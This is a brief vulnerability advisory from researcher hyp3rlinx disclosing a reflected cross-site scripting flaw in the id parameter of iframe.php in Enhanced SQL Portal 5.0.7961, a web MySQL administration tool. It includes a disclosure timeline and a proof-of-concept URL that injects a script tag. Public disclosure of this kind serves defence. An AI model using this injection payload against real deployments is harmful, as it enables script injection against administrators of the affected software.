[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-ENHSQLPORTAL0602.txt

Vendor:
www.eliacom.com
www.eliacom.com/mysql-gui-download.php

Product:
Enhanced SQL Portal 5.0.7961 web based MySQL administration application.

Advisory Information:
================================================
Enhanced SQL Portal 5.0.7961 XSS Vulnerability

Vulnerability Details:
=====================
iframe.php contains an XSS vulnerability

Exploit code(s):
===============

http://localhost/Enhanced_SQL_Portal_5.0.7961_05_06_2015/iframe.php?id="
/><script>alert(666)</script>

Disclosure Timeline:
=========================================================

Vendor Notification: May 28, 2015
June 2, 2015 : Public Disclosure

Severity Level:
=========================================================
Med

Description:
==========================================================

Request Method(s):
[+] GET

Vulnerable Product:
[+] Enhanced SQL Portal 5.0.7961

Vulnerable Parameter(s):
[+] id

Affected Area(s):
[+] iframe

===============================================================

(hyp3rlinx)

[ reply ]